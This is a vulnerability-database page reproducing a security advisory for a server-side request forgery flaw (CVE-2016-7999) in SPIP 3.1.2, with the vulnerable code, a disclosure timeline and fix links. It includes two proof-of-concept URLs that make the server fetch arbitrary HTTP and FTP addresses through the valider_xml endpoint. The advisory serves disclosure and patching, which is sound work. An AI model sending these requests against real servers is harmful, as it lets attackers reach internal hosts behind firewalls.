Lucene search
K

SPIP 3.1.2 Server Side Request Forgery Vulnerability

🗓️ 20 Oct 2016 00:00:00Reported by Nicolas ChatelainType 
zdt
 zdt
🔗 0day.today👁 26 Views

SPIP 3.1.2 Server Side Request Forgery Vulnerability. Allows HTTP/FTP requests via 'valider_xml' file, bypassing access controls & firewall. CVSS Base Score: 5.5 (Medium

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2016-7999
19 Oct 201621:11
circl
CNVD
SPIP Cross-Site Request Forgery Vulnerability
12 Oct 201600:00
cnvd
CVE
CVE-2016-7999
18 Jan 201717:00
cve
Cvelist
CVE-2016-7999
18 Jan 201717:00
cvelist
Debian
[SECURITY] [DLA 695-1] spip security update
2 Nov 201622:00
debian
Debian CVE
CVE-2016-7999
18 Jan 201717:00
debiancve
Tenable Nessus
Debian DLA-695-1 : spip security update
3 Nov 201600:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2016-7999
25 Aug 202500:00
nessus
EUVD
EUVD-2016-8847
7 Oct 202500:30
euvd
NVD
CVE-2016-7999
18 Jan 201717:59
nvd
Rows per page
## SPIP 3.1.2 Server Side Request Forgery (CVE-2016-7999)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

It's possible to send HTTP/FTP requests using the `valider_xml` file.
Attackers can make it look like the server is sending the request, possibly bypassing access controls such as a firewall that would prevent the attacker from accessing the URLs directly.

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-918

**CVSS Base Score**: 5.5 (Medium)

**CVE-ID**: CVE-2016-7999

### Proof of Concept

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=http://router-dev.srv/
    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=ftp://ftp.debian.org/


### Vulnerable code

The FTP connection is initialized by the `is_dir` function inside `valider_xml`, line 79 :

    if (is_dir($url)) {

Other PHP Wrappers supporting `is_dir` can be called using this function.

The HTTP connection is initiated at line 123:

    $res = $transformer_xml(recuperer_page($url));

### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 27/09/2016 : Server Side Request Forgery vulnerability correct vulnerabilities.
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23188
* https://core.spip.net/projects/spip/repository/revisions/23193

### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation